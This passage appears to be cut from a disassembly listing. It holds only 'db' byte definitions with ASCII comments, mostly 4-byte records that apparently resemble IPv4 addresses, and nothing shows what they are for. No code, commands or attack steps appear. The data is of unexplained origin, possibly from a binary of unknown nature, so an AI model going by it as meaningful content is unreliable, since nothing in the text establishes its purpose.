2 ; db 0A6h ; db 66h ; f db 0A5h ; db 0Ch ; db 0A6h ; db 66h ; f db 0A5h ; db 0Eh ; db 0A6h ; db 68h ; h db 1Bh ; db 6 ; db 0A6h ; db 6Bh ; k db 0FAh ; db 22h ; " db 0A6h ; db 6Dh ; m db 0FEh ; db 4 ; db 0A6h ; db 6Dh ; m db 0FEh ; db 6 ; db 0A6h ; db 70h ; p db 0C8h ; db 8Eh ; db 0A6h ; db 71h ; q db 5 ; db 0Ah ; db 0A6h ; db 72h ; r db 1 ; db 28h ; ( db 0A6h ; db 7Fh ;  db 1 ; db 9 ; db 0A6h ; db 14h ; db 54h ; T db 64h ; d db 0A6h ; db 3Ch ; < db 6 ; db 26h ; & db 0A6h ; db 41h ; A db 36h ; 6 db 1 ; db 0A6h ; db 44h ; D db 86h ; db 85h ; db 0A6h ; db 49h ; I db 6Eh ; n db 0BEh ; db 0A6h ; db 4Dh ; M db 0Ch ; db 0Bh ; db 0A6h ; db 4Dh ; M db 0EBh ; db 0D3h ; db 0A6h ; db 52h ; R db 1 ; db 3 ; db 0A6h ; db 52h ; R db 1 ; db 8 ; db 0A6h ; db 52h ; R db 0EBh ; db 78h ; x db 0A6h ; db 58h ; X db 4 ; db 0Ah ; db 0A6h ; db 5Ah ; Z db 0D2h ; db 2 ; db 0A6h ; db 5Bh ; [ db 0FEh ; db 2 ; db 0A6h ; db 5Dh ; ] db 1 ; db 3 ; db 0A6h ; db 5Dh ; ] db 8 ; db 2 ; db 0A7h ; db 64h ; d db 75h ; u db 0D9h ; db 0A7h ; db 6Bh ; k db 0E5h ; db 0C8h ; db 0A7h ; db 70h ; p db 0A0h ; db 3 ; db 0A7h ; db 70h ; p db 0A0h ; db 7 ; db 0A7h ; db 72h ; r db 0FDh ; db 3 ; db 0A7h ; db 79h ; y db 0 ; db 38h ; 8 db 0A7h ; db 79h ; y db 9 ; db 3Dh ; = db 0A7h ; db 81h ; db 0F0h ; db 5 ; db 0A7h ; db 82h ; db 5Dh ; ] db 0D8h ; db 0A7h ; db 84h ; db 0FDh ; db 0A6h ; db 0A7h ; db 84h ; db 0FDh ; db 33h ; 3 db 0A7h ; db 87h ; db 7Ah ; z db 83h ; db 0A7h ; db 88h ; db 0E1h ; db 0DEh ; db 0A7h ; db 88h ; db 0EBh ; db 0DEh ; db 0A7h ; db 8Ch ; db 13h ; db 0Eh ; db 0A7h ; db 8Eh ; db 0E1h ; db 5 ; db 0A7h ; db 8Eh ; db 0E1h ; db 6 ; db 0A7h ; db 96h ; db 0Fh ; db 1 ; db 0A7h ; db 96h ; db 0Fh ; db 2 ; db 0A7h ; db 9Bh ; db 6 ; db 2 ; db 0A7h ; db 9Dh ; db 1 ; db 0Bh ; db 0A7h ; db 10h ; db 77h ; w db 6 ; db 0A7h ; db 0A0h ; db 0C0h ; db 5 ; db 0A7h ; db 0A0h ; db 0C0h ; db 6 ; db 0A7h ; db 0A6h ; db 0F8h ; db 5 ; db 0A7h ; db 0A9h ; db 4 ; db 2 ; db 0A7h ; db 0B9h ; db 18h ; db 3 ; db 0A7h ; db 0CAh ; db 0C3h ; db 0Bh ; db 0A7h ; db 0CAh ; db 0C3h ; db 0Ch ; db 0A7h ; db 0CBh ; db 6Fh ; o db 61h ; a db 0A7h ; db 0CDh ; db 16h ; db 7Bh ; { db 0A7h ; db 0CDh ; db 17h ; db 1 ; db 0A7h ; db 0CEh ; db 1 ; db 67h ; g db 0A7h ; db 0CEh ; db 1 ; db 1Eh ; db 0A7h ; db 0CEh ; db 4Dh ; M db 2 ; db 0A7h ; db 0D0h ; db 0E8h ; db 0Bh ; db 0A7h ; db 15h ; db 1 ; db 78h ; x db 0A7h ; db 0D5h ; db 6Ch ; l db 15h ; db 0A7h ; db 0D8h ; db 1 ; db 2 ; db 0A7h ; db 0D8h ; db 80h ; db 23h ; # db 0A7h ; db 0D8h ; db 80h ; db 24h ; $ db 0A7h ; db 0D8h ; db 0C1h ; db 0E8h ; db 0A7h ; db 0D8h ; db 0FAh ; db 2Ah ; * db 0A7h ; db 0D9h ; db 2 ; db 0Ah ; db 0A7h ; db 0DAh ; db 0FBh ; db 0Ch ; db 0A7h ; db 17h ; db 0F8h ; db 0Dh ; db 0A7h ; db 17h ; db 0F8h ; db 0Eh ; db 0A7h ; db 17h ; db 0F8h ; db 0Fh ; db 0A7h ; db 0E6h ; db 0E3h ; db 8Ah ; db 0A7h ; db 0E6h ; db 0E3h ; db 8Bh ; db 0A7h ; db 0EFh ; db 0B0h ; db 1 ; db 0A7h ; db 0EFh ; db 0B0h ; db 3 ; db 0A7h ; db 18h ; db 65h ; e db 0Ch ; db 0A7h ; db 18h ; db 68h ; h db 0C8h ; db 0A7h ; db 0F0h ; db 0FDh ; db 3 ; db 0A7h ; db 0FBh ; db 1 ; db 0Ah ; db 0A7h ; db 0FBh ; db 1 ; db 0Bh ; db 0A7h ; db 3 ; db 35h ; 5 db 7Ah ; z db 0A7h ; db 3 ; db 8 ; db 7Ah ; z db 0A7h ; db 21h ; ! db 15h ; db 4 ; db 0A7h ; db 4 ; db 1 ; db 25h ; % db 0A7h ; db 7 ; db 0Ah ; db 83h ; db 0A7h ; db 7 ; db 0Bh ; db 83h ; db 0A7h ; db 4Ch ; L db 9Fh ; db 0Bh ; db 0A7h ; db 4Eh ; N db 1 ; db 0Ah ; db 0A7h ; db 4Fh ; O db 5Bh ; [ db 63h ; c db 0A7h ; db 5Ah ; Z db 4 ; db 5 ; db 0A7h ; db 5Ah ; Z db 5 ; db 2 ; db 0A7h ; db 5Ch ; \ db 73h ; s db 0Fh ; db 0A7h ; db 5Dh ; ] db 1 ; db 0Ch ; db 0A7h ; db 5Dh ; ] db 1 ; db 0Eh ; db 0A7h ; db 5Eh ; ^ db 2 ; db 1 ; db 0A7h ; db 5Eh ; ^ db 2 ; db 2 ; db 0A8h ; db 64h ; d db 1 ; db 2 ; db 0A8h ; db 64h ; d db 1 ; db 3 ; db 0A8h ; db 65h ; e db 10h ; db 0Ah ; db 0A8h ; db 65h ; e db 10h ; db 0Bh ; db 0A8h ; db 66h ; f db 10h ; db 0Eh ; db 0A8h ; db 66h ; f db 10h ; db 0Fh ; db 0A8h ; db 67h ; g db 68h ; h db 52h ; R db 0A8h ; db 67h ; g db 8 ; db 1 ; db 0A8h ; db 6Ah ; j db 2 ; db 1 ; db 0A8h ; db 6Ch ; l db 0Dh ; db 2 ; db 0A8h ; db 6Fh ; o db 0Ah ; db 83h ; db 0A8h ; db 73h ; s db 20h ; db 32h ; 2 db 0A8h ; db 73h ; s db 20h ; db 33h ; 3 db 0A8h ; db 7Bh ; { db 2 ; db 32h ; 2 db 0A8h ; db 7Bh ; { db 4 ; db 0Ah ; db 0A8h ; db 7Eh ; ~ db 3Fh ; ? db 1 ; db 0A8h ; db 7Eh ; ~ db 3Fh ; ? db 2 ; db 0A8h ; db 83h ; db 21h ; ! db 5 ; db 0A8h ; db 84h ; db 1 ; db 1 ; db 0A8h ; db 8Fh ; db 0 ; db 4 ; db 0A8h ; db 8Fh ; db 0 ; db 6 ; db 0A8h ; db 90h ; db 1 ; db 7 ; db 0A8h ; db 91h ; db 1 ; db 0BEh ; db 0A8h ; db 96h ; db 0FDh ; db 1 ; db 0A8h ; db 96h ; db 0FDh ; db 2 ; db 0A8h ; db 9Ah ; db 1Ah ; db 0Ah ; db 0A8h ; db 9Fh ; db 1 ; db 2 ; db 0A8h ; db 9Fh ; db 3 ; db 1 ; db 0A8h ; db 0A0h ; db 1 ; db 19h ; db 0A8h ; db 0A5h ; db 1 ; db 64h ; d db 0A8h ; db 0A6h ; db 2 ; db 43h ; C db 0A8h ; db 0A7h ; db 0A8h ; db 22h ; " db 0A8h ; db 0A9h ; db 8 ; db 15h ; db 0A8h ; db 0A9h ; db 8 ; db 16h ; db 0A8h ; db 0AAh ; db 19h ; db 22h ; " db 0A8h ; db 0ABh ; db 3 ; db 3 ; db 0A8h ; db 0ABh ; db 2Ch ; , db 0Ah ; db 0A8h ; db 0B0h ; db 1 ; db 32h ; 2 db 0A8h ; db 0B0h ; db 2 ; db 0Ah ; db 0A8h ; db 0B8h ; db 0 ; db 45h ; E db 0A8h ; db 0B8h ; db 0 ; db 46h ; F db 0A8h ; db 0BCh ; db 1 ; db 1 ; db 0A8h ; db 0BEh ; db 0C8h ; db 19h ; db 0A8h ; db 0BEh ; db 3 ; db 0Ch ; db 0A8h ; db 0CBh ; db 8 ; db 0Ah ; db 0A8h ; db 0CBh ; db 8 ; db 6 ; db 0A8h ; db 0CDh ; db 0FEh ; db 1 ; db 0A8h ; db 0CDh ; db 0FEh ; db 2 ; db 0A8h ; db 0D0h ; db 0D7h ; db 0F9h ; db 0A8h ; db 0D0h ; db 0D7h ; db 0FAh ; db 0A8h ; db 0D5h ; db 80h ; db 1 ; db 0A8h ; db 0D5h ; db 80h ; db 8 ; db 0A8h ; db 0D7h ; db 5Ah ; Z db 23h ; # db 0A8h ; db 0DBh ; db 0C9h ; db 5 ; db 0A8h ; db 0DCh ; db 40h ; @ db 0Bh ; db 0A8h ; db 0DDh ; db 15h ; db 96h ; db 0A8h ; db 0DDh ; db 15h ; db 0C8h ; db 0A8h ; db 0DFh ; db 2 ; db 3 ; db 0A8h ; db 0DFh ; db 3 ; db 14h ; db 0A8h ; db 0E2h ; db 31h ; 1 db 1 ; db 0A8h ; db 0E2h ; db 31h ; 1 db 3 ; db 0A8h ; db 0E5h ; db 4 ; db 1 ; db 0A8h ; db 0EAh ; db 6Ah ; j db 2 ; db 0A8h ; db 0EAh ; db 20h ; db 42h ; B db 0A8h ; db 0EEh ; db 80h ; db 1 ; db 0A8h ; db 18h ; db 0F2h ; db 0F9h ; db 0A8h ; db 0F1h ; db 0DCh ; db 0EDh ; db 0A8h ; db 0F1h ; db 0F2h ; db 0EFh ; db 0A8h ; db 0F3h ; db 0FEh ; db 1 ; db 0A8h ; db 0FEh ; db 1 ; db 65h ; e db 0A8h ; db 27h ; ' db 1 ; db 13h ; db 0A8h ; db 4Bh ; K db 11h ; db 0Ah ; db 0A8h ; db 4Bh ; K db 11h ; db 0Bh ; db 0A8h ; db 4Dh ; M db 8 ; db 2 ; db 0A8h ; db 4Eh ; N db 20h ; db 20h ; db 0A8h ; db 5Bh ; [ db 1 ; db 1 ; db 0A8h ; db 5Dh ; ] db 15h ; db 15h ; db 0A8h ; db 5Dh ; ] db 19h ; db 19h ; db 0A8h ; db 5Fh ; _ db 1 ; db 1 ; db 0A8h ; db 5Fh ; _ db 1 ; db 2 ; db 0A8h ; db 5Fh ; _ db 0C0h ; db 1 ; db 0A8h ; db 5Fh ; _ db 0C0h ; db 2 ; db 0A8h ; db 5Fh ; _ db 0C0h ; db 3 ; db 0A8h ; db 60h ; ` db 80h ; db 2 ; db 0A8h ; db 61h ; a db 63h ; c db 43h ; C db 0A8h ; db 62h ; b db 0C9h ; db 86h ; db 0A8h ; db 62h ; b db 0C9h ; db 87h ; db 0A9h ; db 83h ; db 1 ; db 1 ; db 0A9h ; db 83h ; db 1 ; db 3 ; db 0A9h ; db 84h ; db 85h ; db 1 ; db 0A9h ; db 86h ; db 0A9h ; db 0Ah ; db 0A9h ; db 87h ; db 1 ; db 0Bh ; db 0A9h ; db 87h ; db 1 ; db 1Ch ; db 0A9h ; db 8Ah ; db 0D4h ; db 2 ; db 0A9h ; db 90h ; db 44h ; D db 7 ; db 0A9h ; db 93h ; db 60h ; ` db 1 ; db 0A9h ; db 93h ; db 60h ; ` db 2 ; db 0A9h ; db 94h ; db 0D8h ; db 65h ; e db 0A9h ; db 97h ; db 2 ; db 13h ; db 0A9h ; db 98h ; db 4Fh ; O db 6 ; db 0A9h ; db 99h ; db 0CAh ; db 28h ; ( db 0A9h ; db 99h ; db 0CAh ; db 29h ; ) db 0A9h ; db 9Dh ; db 0AFh ; db 17h ; db 0A9h ; db 9Dh ; db 0AFh ; db 18h ; db 0A9h ; db 9Eh ; db 80h ; db 88h ; db 0A9h ; db 0C6h ; db 1 ; db 15h ; db 0A9h ; db 0C6h ; db 1 ; db 16h ; db 0A9h ; db 0C7h ; db 1 ; db 1 ; db 0A9h ; db 0C8h ; db 19h ; db 88h ; db 0A9h ; db 0C8h ; db 19h ; db 89h ; db 0A9h ; db 0CEh ; db 0Ch ; db 8 ; db 0A9h ; db 0CFh ; db 2 ; db 48h ; H db 0A9h ; db 0E2h ; db 1 ; db 64h ; d db 0A9h ; db 0E2h ; db 1 ; db 67h ; g db 0A9h ; db 0EDh ; db 1 ; db 0FAh ; db 0A9h ; db 0EDh ; db 0FAh ; db 0FAh ; db 0A9h ; db 0F5h ; db 0FEh ; db 1 ; db 0A9h ; db 0F5h ; db 0FEh ; db 2 ; db 0A9h ; db 47h ; G db 1 ; db 0Bh ; db 0AAh ; db 67h ; g db 8Eh ; db 1 ; db 0AAh ; db 6Bh ; k db 0C8h ; db 0C8h ; db 0AAh ; db 6Bh ; k db 0C8h ; db 0CAh ; db 0AAh ; db 6Ch ; l db 0CCh ; db 0FDh ; db 0AAh ; db 6Eh ; n db 0D6h ; db 26h ; & db 0AAh ; db 70h ; p db 1 ; db 22h ; " db 0AAh ; db 73h ; s db 0F9h ; db 0Ah ; db 0AAh ; db 76h ; v db 9Dh ; db 64h ; d db 0AAh ; db 76h ; v db 9Dh ; db 65h ; e db 0AAh ; db 7Ah ; z db 0FAh ; db 0Ah ; db 0AAh ; db 7Dh ; } db 0Bh ; db 20h ; db 0AAh ; db 80h ; db 0AFh ; db 91h ; db 0AAh ; db 8Ch ; db 1 ; db 1 ; db 0AAh ; db 8Ch ; db 2 ; db 1 ; db 0AAh ; db 8Eh ; db 1 ; db 96h ; db 0AAh ; db 8Eh ; db 1 ; db 4Ah ; J db 0AAh ; db 91h ; db 1Ah ; db 42h ; B db 0AAh ; db 93h ; db 2Dh ; - db 0A3h ; db 0AAh ; db 93h ; db 2Dh ; - db 0A4h ; db 0AAh ; db 94h ; db 9Ch ; db 0Ah ; db 0AAh ; db 94h ; db 24h ; $ db 0Ah ; db 0AAh ; db 99h ; db 40h ; @ db 3 ; db 0AAh ; db 99h ; db 40h ; @ db 6 ; db 0AAh ; db 9Bh ; db 1 ; db 5 ; db 0AAh ; db 9Eh ; db 1 ; db 29h ; ) db 0AAh ; db 9Eh ; db 2 ; db 9 ; db 0AAh ; db 0A0h ; db 4 ; db 0FDh ; db 0AAh ; db 0A0h ; db 4 ; db 0FEh ; db 0AAh ; db 0A3h ; db 0F8h ; db 3 ; db 0AAh ; db 0A4h ; db 32h ; 2 db 42h ; B db 0AAh ; db 0A7h ; db 4 ; db 14h ; db 0AAh ; db 0A7h ; db 6 ; db 14h ; db 0AAh ; db 0A9h ; db 2Eh ; . db 0CBh ; db 0AAh ; db 11h ; db 0A5h ; db 8Eh ; db 0AAh ; db 11h ; db 0A5h ; db 8Fh ; db 0AAh ; db 0ABh ; db 0FBh ; db 96h ; db 0AAh ; db 0ABh ; db 0FCh ; db 13h ; db 0AAh ; db 0BCh ; db 5 ; db 0Bh ; db 0AAh ; db 0C9h ; db 29h ; ) db 33h ; 3 db 0AAh ; db 0CEh ; db 0E1h ; db 15h ; db 0AAh ; db 0CEh ; db 0E3h ; db 15h ; db 0AAh ; db 0DEh ; db 40h ; @ db 82h ; db 0AAh ; db 0DFh ; db 20h ; db 11h ; db 0AAh ; db 0EBh ; db 3 ; db 0Ah ; db 0AAh ; db 0EBh ; db 3 ; db 14h ; db 0AAh ; db 0FCh ; db 0F8h ; db 5 ; db 0AAh ; db 0FDh ; db 9Ch ; db 4 ; db 0AAh ; db 0FDh ; db 0ECh ; db 4 ; db 0AAh ; db 3 ; db 8 ; db 1 ; db 0AAh ; db 1Eh ; db 0F0h ; db 0FDh ; db 0AAh ; db 1Eh ; db 0F0h ; db 0FEh ; db 0AAh ; db 26h ; & db 63h ; c db 63h ; c db 0AAh ; db 2Eh ; . db 0C8h ; db 0C8h ; db 0AAh ; db 2Fh ; / db 1 ; db 2 ; db 0AAh ; db 37h ; 7 db 77h ; w db 0Dh ; db 0AAh ; db 38h ; 8 db 3Ah ; : db 35h ; 5 db 0AAh ; db 41h ; A db 6Ah ; j db 21h ; ! db 0AAh ; db 42h ; B db 1 ; db 2 ; db 0AAh ; db 42h ; B db 1 ; db 3 ; db 0AAh ; db 44h ; D db 15h ; db 32h ; 2 db 0AAh ; db 4Ch ; L db 10h ; db 5 ; db 0AAh ; db 55h ; U db 12h ; db 15h ; db 0AAh ; db 5Ch ; \ db 1 ; db 0Eh ; db 0AAh ; db 5Eh ; ^ db 1 ; db 1 ; db 0AAh ; db 63h ; c db 6Ch ; l db 1 ; db 0ABh ; db 9Fh ; db 0C0h ; db 0Fh ; db 0ABh ; db 9Fh ; db 40h ; @ db 0Fh ; db 0ABh ; db 0A1h ; db 0A0h ; db 0Fh ; db 0ABh ; db 0A1h ; db 0E0h ; db 0Fh ; db 0ABh ; db 0A1h ; db 60h ; ` db 0Fh ; db 0ABh ; db 13h ; db 1 ; db 6 ; db 0ABh ; db 18h ; db 0FEh ; db 9 ; db 0ABh ; db 1Fh ; db 0 ; db 1 ; db 0ABh ; db 40h ; @ db 2 ; db 0D2h ; db 0ABh ; db 40h ; @ db 2 ; db 0DCh ; db 0ABh ; db 40h ; @ db 2 ; db 0E6h ; db 0ABh ; db 42h ; B db 79h ; y db 64h ; d db 0ABh ; db 42h ; B db 0E8h ; db 24h ; $ db 0ABh ; db 48h ; H db 5 ; db 5Fh ; _ db 12h ; db 48h ; H db 0 ; db 3 ; db 0C0h ; db 0 ; db 22h ; " db 7Eh ; ~ db 0C0h ; db 64h ; d db 50h ; P db 2 ; db 0C0h ; db 64h ; d db 5Eh ; ^ db 3 ; db 0C0h ; db 64h ; d db 5Eh ; ^ db 9 ; db 0C0h ; db 65h ; e db 79h ; y db 14h ; db 0C0h ; db 65h ; e db 15h ; db 1 ; db 0C0h ; db 65h ; e db 0FAh ; db 0Ah ; db 0C0h ; db 65h ; e db 0FAh ; db 7 ; db 0C0h ; db 66h ; f db 0A7h ; db 2 ; db 0C0h ; db 67h ; g db 3Fh ; ? db 64h ; d db 0C0h ; db 68h ; h db 6Bh ; k db 1 ; db 0C0h ; db 68h ; h db 36h ; 6 db 1 ; db 0C0h ; db 6Ah ; j db 1 ; db 1 ; db 0C0h ; db 6Ah ; j db 1 ; db 9 ; db 0C0h ; db 6Bh ; k db 76h ; v db 9Ah ; db 0C0h ; db 6Bh ; k db 0FCh ; db 21h ; ! db 0C0h ; db 6Ch ; l db 82h ; db 21h ; ! db 0C0h ; db 6Ch ; l db 83h ; db 0Bh ; db 0C0h ; db 6Ch ; l db 22h ; " db 3 ; db 0C0h ; db 6Dh ; m db 0B0h ; db 1 ; db 0C0h ; db 6Dh ; m db 0BEh ; db 2 ; db 0C0h ; db 6Dh ; m db 2 ; db 21h ; ! db 0C0h ; db 0Bh ; db 0DEh ; db 0A9h ; db 0C0h ; db 0Bh ; db 0DFh ; db 0A9h ; db 0C0h ; db 0Bh ; db 0E2h ; db 0A9h ; db 0C0h ; db 6Fh ; o db 7Bh ; { db 0F5h ; db 0C0h ; db 6Fh ; o db 27h ; ' db 1 ; db 0C0h ; db 6Fh ; o db 27h ; ' db 4 ; db 0C0h ; db 70h ; p db 0DBh ; db 6 ; db 0C0h ; db 70h ; p db 0F6h ; db 0CAh ; db 0C0h ; db 70h ; p db 0F6h ; db 0CDh ; db 0C0h ; db 70h ; p db 3Ch ; < db 21h ; ! db 0C0h ; db 74h ; t db 0C0h ; db 9 ; db 0C0h ; db 74h ; t db 0CAh ; db 63h ; c db 0C0h ; db 0Ch ; db 8Ch ; db 5 ; db 0C0h ; db 0Ch ; db 45h ; E db 5 ; db 0C0h ; db 0Ch ; db 7 ; db 1 ; db 0C0h ; db 7Fh ;  db 0FCh ; db 2 ; db 0C0h ; db 80h ; db 85h ; db 4Dh ; M db 0C0h ; db 80h ; db 0A7h ; db 4Dh ; M db 0C0h ; db 81h ; db 37h ; 7 db 1 ; db 0C0h ; db 83h ; db 1 ; db 3 ; db 0C0h ; db 83h ; db 91h ; db 12h ; db 0C0h ; db 84h ; db 0D5h ; db 3 ; db 0C0h ; db 84h ; db 3 ; db 2Fh ; / db 0C0h ; db 84h ; db 3 ; db 30h ; 0 db 0C0h ; db 85h ; db 1Ch ; db 1 ; db 0C0h ; db 85h ; db 1Ch ; db 7 ; db 0C0h ; db 85h ; db 2Ah ; * db 0E7h ; db 0C0h ; db 85h ; db 2Ah ; * db 5 ; db 0C0h ; db 86h ; db 0 ; db 31h ; 1 db 0C0h ; db 86h ; db 0D8h ; db 13h ; db 0C0h ; db 87h ; db 0Bh ; db 14h ; db 0C0h ; db 87h ; db 0B0h ; db 16h ; db 0C0h ; db 87h ; db 0BFh ; db 1 ; db 0C0h ; db 87h ; db 0BFh ; db 3 ; db 0C0h ; db 87h ; db 0C1h ; db 47h ; G db 0C0h ; db 87h ; db 0C1h ; db 9 ; db 0C0h ; db 87h ; db 0FAh ; db 45h ; E db 0C0h ; db 87h ; db 0FAh ; db 46h ; F db 0C0h ; db 88h ; db 18h ; db 2 ; db 0C0h ; db 8Ah ; db 97h ; db 21h ; ! db 0C0h ; db 8Ah ; db 97h ; db 2Bh ; + db 0C0h ; db 8Ah ; db 55h ; U db 42h ; B db 0C0h ; db 8Ah ; db 55h ; U db 45h ; E db 0C0h ; db 8Bh ; db 98h ; db 82h ; db 0C0h ; db 92h ; db 97h ; db 0A1h ; db 0C0h ; db 92h ; db 97h ; db 0ACh ; db 0C0h ; db 93h ; db 0Dh ; db 41h ; A db 0C0h ; db 93h ; db 41h ; A db 42h ; B db 0C0h ; db 93h ; db 41h ; A db 63h ; c db 0C0h ; db 93h ; db 45h ; E db 2Eh ; . db 0C0h ; db 93h ; db 49h ; I db 2 ; db 0C0h ; db 94h ; db 1 ; db 0Ah ; db 0C0h ; db 94h ; db 7Ah ; z db 5 ; db 0C0h ; db 94h ; db 0F9h ; db 1Eh ; db 0C0h ; db 94h ; db 0FCh ; db 2Bh ; + db 0C0h ; db 95h ; db 0D6h ; db 2Dh ; - db 0C0h ; db 96h ; db 0Bh ; db 0F7h ; db 0C0h ; db 96h ; db 0Bh ; db 1Eh ; db 0C0h ; db 98h ; db 8Ch ; db 1 ; db 0C0h ; db 98h ; db 12h ; db 11h ; db 0C0h ; db 98h ; db 0B7h ; db 0C9h ; db 0C0h ; db 99h ; db 9Ch ; db 16h ; db 0C0h ; db 99h ; db 9Ch ; db 3 ; db 0C0h ; db 99h ; db 22h ; " db 0Ah ; db 0C0h ; db 99h ; db 22h ; " db 14h ; db 0C0h ; db 99h ; db 23h ; # db 1 ; db 0C0h ; db 9Bh ; db 41h ; A db 16h ; db 0C0h ; db 9Bh ; db 41h ; A db 1Bh ; db 0C0h ; db 9Ch ; db 0Dh ; db 22h ; " db 0C0h ; db 9Ch ; db 0Dh ; db 23h ; # db 0C0h ; db 9Ch ; db 86h ; db 0Fh ; db 0C0h ; db 9Ch ; db 86h ; db 10h ; db 0C0h ; db 9Ch ; db 0C4h ; db 1 ; db 0C0h ; db 9Ch ; db 0C4h ; db 3 ; db 0C0h ; db 9Ch ; db 1Ah ; db 22h ; " db 0C0h ; db 9Ch ; db 25h ; % db 22h ; " db 0C0h ; db 9Ch ; db 5 ; db 22h ; " db 0C0h ; db 9Ch ; db 43h ; C db 22h ; " db 0C0h ; db 9Ch ; db 44h ; D db 22h ; " db 0C0h ; db 9Ch ; db 49h ; I db 22h ; " db 0C0h ; db 9Ch ; db 4Eh ; N db 82h ; db 0C0h ; db 9Dh ; db 82h ; db 0Ah ; db 0C0h ; db 9Fh ; db 4Ch ; L db 0Fh ; db 0C0h ; db 10h ; db 0C7h ; db 1 ; db 0C0h ; db 10h ; db 0CAh ; db 0Bh ; db 0C0h ; db 0A0h ; db 0Dh ; db 1 ; db 0C0h ; db 0A0h ; db 0Dh ; db 2 ; db 0C0h ; db 0A0h ; db 0B8h ; db 5 ; db 0C0h ; db 0A0h ; db 6 ; db 5Ah ; Z db 0C0h ; db 0A0h ; db 6 ; db 5Bh ; [ db 0C0h ; db 0A0h ; db 3Eh ; > db 42h ; B db 0C0h ; db 0A2h ; db 10h ; db 15h ; db 0C0h ; db 0A2h ; db 10h ; db 1Fh ; db 0C0h ; db 0A9h ; db 21h ; ! db 3 ; db 0C0h ; db 0ABh ; db 0AAh ; db 1 ; db 0C0h ; db 12h ; db 10h ; db 2 ; db 0C0h ; db 12h ; db 0F0h ; db 8 ; db 0C0h ; db 12h ; db 63h ; c db 5 ; db 0C0h ; db 0BCh ; db 6Bh ; k db 0Ch ; db 0C0h ; db 0BCh ; db 48h ; H db 12h ; db 0C0h ; db 0BCh ; db 48h ; H db 15h ; db 0C0h ; db 0BDh ; db 70h ; p db 82h ; db 0C0h ; db 0BDh ; db 0B7h ; db 5 ; db 0C0h ; db 0BDh ; db 36h ; 6 db 11h ; db 0C0h ; db 0BDh ; db 36h ; 6 db 21h ; ! db 0C0h ; db 0C0h ; db 78h ; x db 3 ; db 0C0h ; db 0C0h ; db 0C7h ; db 0FBh ; db 0C0h ; db 0C0h ; db 0E3h ; db 4 ; db 0C0h ; db 0C0h ; db 1Fh ; db 3 ; db 0C0h ; db 0C0h ; db 2Dh ; - db 1 ; db 0C0h ; db 0C0h ; db 32h ; 2 db 1 ; db 0C0h ; db 0C0h ; db 6 ; db 6Eh ; n db 0C0h ; db 0C0h ; db 6 ; db 78h ; x db 0C0h ; db 0C0h ; db 4Dh ; M db 0Fh ; db 0C0h ; db 0C0h ; db 4Dh ; M db 5 ; db 0C0h ; db 0C1h ; db 0C3h ; db 0C3h ; db 0C0h ; db 0C3h ; db 0C4h ; db 0ECh ; db 0C0h ; db 0C3h ; db 0C4h ; db 19h ; db 0C0h ; db 0C3h ; db 0F0h ; db 1 ; db 0C0h ; db 0C3h ; db 0F5h ; db 90h ; db 0C0h ; db 0C5h ; db 65h ; e db 2 ; db 0C0h ; db 0C5h ; db 65h ; e db 0FDh ; db 0C0h ; db 0C5h ; db 94h ; db 0E1h ; db 0C0h ; db 0C5h ; db 0A2h ; db 1 ; db 0C0h ; db 0C5h ; db 0B5h ; db 0F1h ; db 0C0h ; db 0C5h ; db 0BFh ; db 82h ; db 0C0h ; db 0C5h ; db 45h ; E db 14h ; db 0C0h ; db 0C5h ; db 47h ; G db 83h ; db 0C0h ; db 0C5h ; db 53h ; S db 1 ; db 0C0h ; db 0C6h ; db 35h ; 5 db 0Ah ; db 0C0h ; db 0C6h ; db 36h ; 6 db 0Ah ; db 0C0h ; db 14h ; db 0E1h ; db 4 ; db 0C0h ; db 0CBh ; db 86h ; db 2 ; db 0C0h ; db 0CBh ; db 8Ch ; db 1 ; db 0C0h ; db 0CBh ; db 11h ; db 47h ; G db 0C0h ; db 0CBh ; db 29h ; ) db 1 ; db 0C0h ; db 0CCh ; db 60h ; ` db 11h ; db 0C0h ; db 0CEh ; db 1Dh ; db 2 ; db 0C0h ; db 0CEh ; db 2Bh ; + db 0FDh ; db 0C0h ; db 0CEh ; db 2Bh ; + db 0FEh ; db 0C0h ; db 0CFh ; db 0E2h ; db 48h ; H db 0C0h ; db 0CFh ; db 0F8h ; db 0Ah ; db 0C0h ; db 0CFh ; db 38h ; 8 db 1 ; db 0C0h ; db 0D2h ; db 0Ah ; db 7Ah ; z db 0C0h ; db 0D2h ; db 0Ah ; db 14h ; db 0C0h ; db 0D7h ; db 20h ; db 13h ; db 0C0h ; db 0D8h ; db 11h ; db 14h ; db 0C0h ; db 0D8h ; db 0B8h ; db 3 ; db 0C0h ; db 0D8h ; db 0DDh ; db 8 ; db 0C0h ; db 0DBh ; db 0FEh ; db 1 ; db 0C0h ; db 0DCh ; db 0FAh ; db 7 ; db 0C0h ; db 0DCh ; db 0FBh ; db 7 ; db 0C0h ; db 0E1h ; db 21h ; ! db 1 ; db 0C0h ; db 0E4h ; db 80h ; db 0Bh ; db 0C0h ; db 0E4h ; db 80h ; db 12h ; db 0C0h ; db 0E4h ; db 80h ; db 14h ; db 0C0h ; db 0E7h ; db 8Fh ; db 1 ; db 0C0h ; db 0E7h ; db 0CBh ; db 2 ; db 0C0h ; db 0E7h ; db 0CBh ; db 3 ; db 0C0h ; db 0E7h ; db 0D7h ; db 2 ; db 0C0h ; db 0E7h ; db 0D7h ; db 0FBh ; db 0C0h ; db 0E7h ; db 0FDh ; db 0F2h ; db 0C0h ; db 0E7h ; db 56h ; V db 1 ; db 0C0h ; db 0E8h ; db 79h ; y db 0FDh ; db 0C0h ; db 0E8h ; db 7Fh ;  db 0BFh ; db 0C0h ; db 0E8h ; db 7 ; db 42h ; B db 0C0h ; db 0E9h ; db 91h ; db 6 ; db 0C0h ; db 0E9h ; db 55h ; U db 81h ; db 0C0h ; db 0EAh ; db 0EBh ; db 82h ; db 0C0h ; db 0EDh ; db 7Dh ; } db 2 ; db 0C0h ; db 0EDh ; db 7Dh ; } db 14h ; db 0C0h ; db 0EFh ; db 10h ; db 81h ; db 0C0h ; db 0EFh ; db 42h ; B db 2 ; db 0C0h ; db 0EFh ; db 46h ; F db 8 ; db 0C0h ; db 0F0h ; db 87h ; db 5 ; db 0C0h ; db 0F3h ; db 20h ; db 0Ah ; db 0C0h ; db 0F3h ; db 20h ; db 99h ; db 0C0h ; db 0F5h ; db 0Ch ; db 32h ; 2 db 0C0h ; db 0F5h ; db 0A3h ; db 1 ; db 0C0h ; db 0F5h ; db 0B0h ; db 0C8h ; db 0C0h ; db 0F9h ; db 18h ; db 3Eh ; > db 0C0h ; db 0FBh ; db 0D5h ; db 4 ; db 0C0h ; db 0FBh ; db 0D5h ; db 5 ; db 0C0h ; db 0FBh ; db 43h ; C db 84h ; db 